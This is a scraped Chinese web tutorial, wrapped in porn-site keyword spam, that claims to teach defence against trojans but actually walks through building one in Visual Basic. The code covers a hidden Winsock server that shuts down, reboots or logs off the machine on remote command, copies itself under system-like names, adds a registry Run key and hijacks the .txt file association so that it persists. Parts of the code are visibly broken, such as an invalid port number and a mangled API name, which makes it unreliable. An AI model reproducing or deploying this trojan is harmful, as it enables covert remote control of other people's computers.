亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Visual Basic > 正文

利用VisualBasic防范木馬類攻擊

2019-11-18 17:28:42
字體:
來源:轉載
供稿:網友
首先,新建一工程,名為Server,新建一個窗體,Name為Server,在窗體中加入一個winsock控件,Name設為sckServer,協議設為默認的TCP/ip協議。

  接下來我們回來Server窗體模塊中,添加如下代碼:

->PRivateSubform_Load()
 WithMe
  .sckServer.LocalPort=88917'本地端口(呵呵!我的生日?。?br />  .sckServer.Listen'開始監聽
 EndWith
EndSub

'接受客戶端的連接請求。

PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)
 WithMe
  If.sckServer.State<>sckClosedThen.sckServer.Close
  .sckServer.Accept(requestID)
 EndWith
EndSub->

  下面我們來建立客戶端程序:新建一個工程,名為Client,把窗體名為Client,在上面加入一個winsock控件,名為sckClient,協議為TCP/IP協議。再加一個按鈕cmdConnect在窗體模塊中加入代碼:

->PrivateSubform_Load()
 WithMe
  .sckClient.RemoteHost="127.0.0.1"'設置遠程IP,本例設為本機。
  .sckClient.RemotePort=88917'遠程端口,就為server中的設置一樣.
 EndWith
EndSub

PrivatesubcmdConnect_Click()
 SckClient.Connect
Endsub->

  至此,單擊Connect按鈕我們的兩個工程已經可以進行通信了,但看不見,你可以在Client中的sckClient_Connect事件中加入代碼:debug.print“Connetionsuccessful!”來查看。

  這僅是第一步,一點工作也做不了,下面我們來為它們添加功能。為了簡單,本文章只實現一點小小的功能―――關機,重啟,注銷。好,開始吧!

  在Server工程中新建一個模塊,Name為modApi,這個??鞛橐恍〢PI函數,添加如下API函數:

->PublicDeclareFunctionExitWindowXXXLib"user32"Alias"ExitWindowXXX"(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong

PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLib"user32"Alias"ClipCursor"(lpRectAsAny)AsLong

PublicTypeRECT
 LeftAsLong
 TopAsLong
 RightAsLong
 BottomAsLong
EndType->

  注:在兩個socket中編程中,進行通信的重要事件是DataArrival事件,用于接收遠程數據。

  下面在Client工程的Client窗體中放入三個按鈕,分別為cmdExit,cmdLogoff,cmdReboot。它們用于對遠程的關機,注銷,重啟操作。分別添加如下代碼:

->PrivateSubcmdExit_Click()
 Me.sckClient.SendData"Exit"
EndSub

PrivateSubcmdLogoff_Click()
 Me.sckClient.SendData"Logoff"
EndSub

PrivateSubcmdReboot_Click()
 Me.sckClient.SendData"Reboot"
EndSub->

  全都是對服務端發出請求。下面轉到Server工程中:在Server中添加sckServer的DataArrial事件,接收客戶端的請求。

->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
 DimstrDataAsString
 WithMe
  '接收客戶請求的信息
  .sckServer.GetDatastrData
  SelectCasestrData
   Case"Exit"
    '關機
    CallExitWindowXXX(EWX_SHUTDOWN,0)
   Case"Reboot"
    '重啟
    CallExitWindowXXX(EWX_REBOOT,0)
   Case"Logoff"
    '注銷
   CallExitWindowXXX(EWX_LOGOFF,0)
  EndSelect
 EndWith

EndSub->

  好了,到此我們已經實現功能了,但還不行,我們要它在背后運行。這簡單,在Server中的form_Load事件中加入一句:me.hide。好這下看不見了,但大家知道木馬是一開機就自動運行了,這又是為什么,怎么實現的?把它加入到注冊表的啟動組中?對,不錯,跟我來吧!

  回到Server工程中的modApi中加入如下API函數:

->PublicDeclareFunctionRegOpenKeyLib"advapi32.dll"Alias"RegOpenKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong

PublicDeclareFunctionRegSetvalueExLib"advapi32.dll"Alias"RegSetvalueExA"(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong

PublicDeclareFunctionRegCreateKeyLib"advapi32.dll"Alias"RegCreateKeyA"(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3

PublicConstREG_SZ=1

PublicConstHKEY_LOCAL_MACHINE=&H80000002

PublicConstHKEY_CLASSES_ROOT=&H80000000->

  寫到注冊表啟動組中的過程。

->PublicSubStartupGroup()

 DimsKeyAsString
 DimresultAsLong
 DimhKeyIDAsLong
 DimsKeyValAsString

 sKey="Systrsy"'啟動組中的鍵,找一個與系統文件相近的。
 sKeyVal="C:/windows/system/systrsy.exe"'木馬文件的路徑,可以用GetSystemDirectory來取得系統路徑。
 result=RegOpenKey(HKEY_LOCAL_MACHINE,_
   "Software/Microsoft/Windows/CurrentVersion/Run",hKeyID)
 Ifresult=0Then
  result=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
 EndIf
EndSub->

  好,就這樣簡單地完成了。但是,想過沒有,如果不是很菜的鳥,到注冊表中見一刪,我們苦苦的心血不就白白地浪費了嗎?不行,還得想讓他發現了刪也刪不掉。請看下面的代碼:

->PublicSubWriteToTxt()

 DimresultAsLong
 DimhKeyIDAsLong
 DimskeyAsString
 DimskeyValAsString

 skey="txtfile/shell/open/command"
 skeyVal="C:/windows/system/txtView.exe"
 result=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)

 Ifresult=0Then
  result=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
 EndIf
EndSub->

  肯定不少朋友一看就知道了,原是與txt文件進行關聯,一點也不錯,但C:/windows/system/txtView.exe是哪里來的,我們的木馬是C:/windows/system/systrsy.exe呀。這可是我們木馬的分身了。

  好,回到Server工程的Server窗體的form_Load中,加入如下代碼:

->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&"/"&App.EXEName&".exe"
sSystemDir=“C:/windows/system”
OnErrorResumeNext

 '復制文件成系統目錄下的Systrsy.exe
 FileCopysCurrentPath,sSystemDir&"/Systrsy.exe"
OnErrorResumeNext

復制文件成系統目錄下的txtView.exe

FileCopysCurrentPath,sSystemDir&"/txtView.exe"->

  調用

->CallstartupGroup
CallWriteToTxt

'判斷程序是否下在運行

IfApp.PrevInstanceThen
 '如果已經運行就退出。
End

EndIf->

  注意:

  1、大家在處理端口是最好使用高端端口,否則會和一些常用端口發生沖突

  2、在第一次使用VB.NET的最好看看有關的圖書
->

以上就是如何利用VisualBasic防范木馬類攻擊,希望大家知己知彼,防范于未然!

 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国内精品在线一区| 国产亚洲欧美日韩精品| 欧美精品九九久久| 国产精品小说在线| 成人中文字幕在线观看| 国产精品一区二区三| 69久久夜色精品国产7777| 亚洲成人精品视频| 中文字幕亚洲精品| 亚洲国产天堂久久国产91| 国产免费一区二区三区在线观看| 欧美黑人巨大精品一区二区| 欧美电影免费观看电视剧大全| 日韩在线观看免费| 国产亚洲视频在线| 亚洲性日韩精品一区二区| 国产成人精品日本亚洲| 最近2019免费中文字幕视频三| 国内精品久久久久伊人av| 亚洲午夜未删减在线观看| 久久久www成人免费精品| 国产精品96久久久久久又黄又硬| 亚洲午夜性刺激影院| 自拍偷拍亚洲在线| 国产成人精品日本亚洲专区61| 欧美老女人性生活| 神马久久桃色视频| 成人激情黄色网| 亚洲最大福利视频| 精品国产乱码久久久久酒店| 91在线观看免费观看| 亚洲一区二区久久久久久久| 狠狠综合久久av一区二区小说| 一本色道久久88亚洲综合88| 亚洲欧美日韩图片| 欧美在线激情网| 欧美国产一区二区三区| 久久大大胆人体| 日韩欧美高清视频| 日本午夜精品理论片a级appf发布| 91久久综合亚洲鲁鲁五月天| 欧美成人精品一区二区三区| 欧美巨乳美女视频| 亚洲日本欧美日韩高观看| 国产亚洲综合久久| 国产成人在线一区二区| 亚洲精品在线看| 色综合视频一区中文字幕| 欧美视频第一页| 亚洲美女av黄| 日韩在线视频国产| 伊人久久五月天| 亚洲人成电影网| 欧美在线免费观看| 伊人青青综合网站| 国产噜噜噜噜噜久久久久久久久| 国产美女被下药99| 欧美日韩国产中文字幕| 亚洲变态欧美另类捆绑| 欧美激情18p| 亚洲va码欧洲m码| 亚洲午夜av电影| 久久久久久久久久国产精品| 亚洲精品99久久久久中文字幕| 久久韩国免费视频| 国产精品丝袜久久久久久不卡| 国产精品综合久久久| 欧美老女人性视频| 伊人伊人伊人久久| 92国产精品视频| 日韩中文字在线| 这里只有视频精品| 国产精品海角社区在线观看| 国产主播精品在线| 欧美大片欧美激情性色a∨久久| 亚洲国产精品字幕| 亚洲一区二区中文| 国产精品亚洲美女av网站| 色播久久人人爽人人爽人人片视av| 欧美性猛交99久久久久99按摩| 欧美精品成人在线| 精品在线观看国产| 亚洲电影免费观看高清| 亚洲一区二区中文字幕| 日韩高清中文字幕| 欧美在线精品免播放器视频| 亚洲free嫩bbb| 欧美成人激情视频| 亚洲国产欧美一区二区丝袜黑人| 欧美有码在线视频| 亚洲精品自拍视频| 日韩中文字幕视频在线| 97视频在线观看网址| 中文字幕日韩精品有码视频| 日韩精品高清在线观看| 日韩中文在线视频| 久久精品久久久久久| 国产91精品高潮白浆喷水| 国产日韩av高清| 亚洲人成亚洲人成在线观看| 精品国产福利在线| 免费不卡欧美自拍视频| 亚洲淫片在线视频| 亚洲精品免费av| 欧美多人乱p欧美4p久久| 久久天天躁狠狠躁夜夜av| 欧美性猛交xxxx黑人猛交| 国产婷婷色综合av蜜臀av| 91成人精品网站| 亚洲小视频在线| 国产精品色午夜在线观看| 91国产美女在线观看| 欧美日韩国产精品一区| 亚洲最大福利网站| 原创国产精品91| 成人免费观看49www在线观看| 日韩精品在线视频| 国产激情综合五月久久| 亚洲性线免费观看视频成熟| 国产精品日韩欧美大师| 91色视频在线观看| 日本国产一区二区三区| 精品久久久久久中文字幕| 91精品视频一区| 国产精品自产拍在线观看中文| 97在线视频免费观看| 成人久久久久久久| 欧美电影在线观看| 国产精品美女999| 欧美又大又硬又粗bbbbb| 91探花福利精品国产自产在线| 国产成人激情视频| 亚洲精品综合久久中文字幕| 日韩国产欧美精品在线| 欧美日韩午夜剧场| 中文字幕日韩在线视频| 日本欧美在线视频| 九九精品视频在线| 亚洲美女视频网| 97久久国产精品| 宅男66日本亚洲欧美视频| 久久久久一本一区二区青青蜜月| 九九热这里只有精品免费看| 538国产精品一区二区在线| 亚洲第一级黄色片| 欧美情侣性视频| 一区二区三区视频免费| 午夜精品在线观看| 国产视频久久网| 国产精品视频一区二区三区四| 性欧美激情精品| 欧美中文在线观看| 96国产粉嫩美女| 亚洲免费成人av电影| 国产精品久久久久久五月尺| 久久777国产线看观看精品| 欧美日韩中文字幕在线视频| 中文字幕亚洲第一| 日本三级韩国三级久久| 亚洲视频一区二区三区| 久久免费精品日本久久中文字幕| 日韩大陆毛片av| 精品国产鲁一鲁一区二区张丽| 亚洲精品中文字幕av|